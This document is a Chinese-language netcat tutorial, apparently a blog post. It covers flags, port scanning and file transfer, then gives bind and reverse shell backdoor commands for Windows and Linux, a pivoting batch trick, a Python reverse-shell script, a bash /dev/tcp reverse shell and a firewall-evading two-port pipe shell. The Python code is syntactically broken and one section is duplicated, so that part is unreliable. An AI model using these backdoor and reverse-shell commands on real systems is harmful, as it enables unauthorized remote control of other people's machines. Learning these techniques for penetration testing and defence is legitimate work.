文章目录

  • Netcat
    • Netcat基本概述
    • 参数的介绍及使用
      • 内容重定向
    • 常用方法
    • netcat 建立后门
      • windows建立后门
        • 监听型后门
        • 连接型后门
      • Linux建立后门
        • 监听型后门
          • nc -l -p [port] -e /bin/bash
        • 连接型后门
    • 连接转发
          • 向内网中能够连接的机器中写入批处理文件(用于nc远程连接内网中不能通信的机器)
          • 客户端nc远程连接内网中能够连接的电脑
    • 反弹shell
      • 基于Python的shell反弹
      • 基于Bash的shell反弹
      • 内网穿透
        • 被防火墙拦截(不支持nc -e参数)
        • 被防火墙拦截(不支持nc -e参数)

Netcat

Netcat基本概述

netcat又叫做瑞士军刀,是黑客和系统管理员常用的网络工具,初开发的目的是文件传输,后来发展除了很多强大的功能

**注意:**一般不建议在生产环境安装nc,因为nc除了可以批量主机服务扫描外,还支持端口代理、文件传输,容易造成安全隐患

参数的介绍及使用

-4 使用IPv4版本的IP地址

-6 使用IPv6版本的IP地址

-b 允许UDP广播

-c string(sudo ifconfig) 远程连接后要执行的shell code 命令。字符串被传递给/bin/sh

-C 发送CRLF(回车换行)作为行尾

d 脱离命令窗口,在后台运行,常用于后门建立过程

-e filename(.exe/…) 远程连接后返回的程序,常用于后门建立过程

-g gateway 设置网关,常用于突破内网限制

-G num 路由跳数(例如4,8,12…)

-h 查看命令参数

-i secs 设置每发送一个行数据的时间间隔

-l [localhost address] 设置netcat处于监听状态等待链接

-L [localhost address]设置netcat处于监听状态等待链接,当客户端断开,服务端依旧回到等待状态

man ~ 获得详细信息

-n 不对目标机器进行DNS解析

使用过程中使用-n参数只传入IP,减少了Netcat把域名解析成IP的过程,这样可以节省时间提高效率

-o file 设置传输十六进制的数据

-p [localhost port] 端口

-q seconds 在标准输入流上读取文件(判断EOF),等待指定的秒数,然后退出。如果秒数为负数,永远等待

-r 设置netcat随机化的端口号

-s [addr] 设置telnet源地址(用于源地址欺骗)

-t 回复telnet的请求数据包

-T type 设置TOS标志(类型可以是“最小化延迟”,“最大化吞吐量”、“最大化可靠性”或“最小化成本”)

-u 设置netcat使用UDP模式

-v 表示对错误进行详细输出

可以用来获取banner信息
>echo " " | nc -v -n -w1 [ip:port]
快速端口扫描
>nc -v -n -z -m1 [ip:port]

-w secs 最大等待连接时间(若time时间内无法连接到服务器端,则断掉连接,防止"假死"状态)

-z zero I/O模式,专用于端口扫描。对于目标IP发送的数据表中不包含任何payload,这样可以加快扫描速度(0 标准输入)

-z参数默认使用的是TCP类型的数据扫描,如果需要进行UDP扫描,则需要使用-u参数

内容重定向

nc [localhost port]< file 上传文件

nc [localhost port] > file 下载文件

常用方法

常用 Server Client
端口扫描 nc -z -n -v [IP Address] [Port]
获取banner信息 nc -n -v [IP Address] [Port]
远程连接 nc -l [port] nc [IP Address] [Port]
文件传输(下载) nc -l [port] < file nc [IP Address] [Port] > file
文件传输(上传) nc [IP Address] [Port] > file nc -l [port] < file
多文件传输(下载) tar -cvf filename | nc -l [port] nc [IP Address] [Port] | tar -xvf
指定使用的压缩方法(以bzip2为例) tar -cvf filename | bzip2 -z | nc -l [port] nc [IP Address] [Port] | bzip2 -d | tar -xvf
加密发送数据 nc localhost port|mcrypt -flush -bare -F -q -d -m ecb > file mcrypt -flush -bare -F -q-m ecb < file | nc [IP Address] [Port]
视频流文件(下载) cat video.avi|nc -l [port] nc [IP Address] [port]|mplayer -vo x11 -cache 3000
克隆一个设备配置 dd if=/dev/sda|nc -l port nc -n [IP Address] [port]|dd of=/dev/sda

netcat 建立后门

windows建立后门

监听型后门

能够连接值服务端,并从服务端返回客户端一个shell

nc -l -p [port] -e cmd.exe

连接型后门

能够连接值服务端,给服务端提供一个shell

nc [IP Address port] -e cmd.exe

Linux建立后门

监听型后门

nc -l -p [port] -e /bin/bash

连接型后门

nc [IP Address port] -e /bin/bash

连接转发

当有客户端连接该服务端时,连接的客户端和通过服务端连接到 target port上 实现了连接转发功能。(端口转发)

向内网中能够连接的机器中写入批处理文件(用于nc远程连接内网中不能通信的机器)

echo nc [IP Address:port] > xx.bat

客户端nc远程连接内网中能够连接的电脑

nc -l -p [localport] -e xx.bat

有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。1. 打开/dev/tcp以读写方式打开/dev/tcp,并指定服务器名为: www.csdn.net,端口号为:80,指定描述符为8exec 8<>/dev/tcp/www.csdn.net/80要注意的是:/dev/tcp本身是不存在的。
2. 向文件中写入数据向文件中随便写一些数据: echo -e "GET">8&
3. 读文件读取返回的信息:cat<&8

反弹shell

基于Python的shell反弹

!/usr/bin/python
import os,subprocess,sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect("IP","port")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2
p=subprocess.call(["/bin/sh","-i"])

基于Bash的shell反弹

##### 反弹shell命令
>bash -i >& /dev/tcp/ip/port 0>&1
##### 交互模式运行bash/shell
>bash -i 
##### \>&重定向度
##### 0 标准输入 1 标准输出 2 错误输入输出
##### PC端就收Netcat指令
>nc -lvp port

内网穿透

被防火墙拦截(不支持nc -e参数)

nc ip port | /bin/bash | nc ip port

通过管道反弹shell命令

此时需要提供两个端口,一个用于连接,一个用于监听

内网穿透

被防火墙拦截(不支持nc -e参数)

nc ip port | /bin/bash | nc ip port

通过管道反弹shell命令

此时需要提供两个端口,一个用于连接,一个用于监听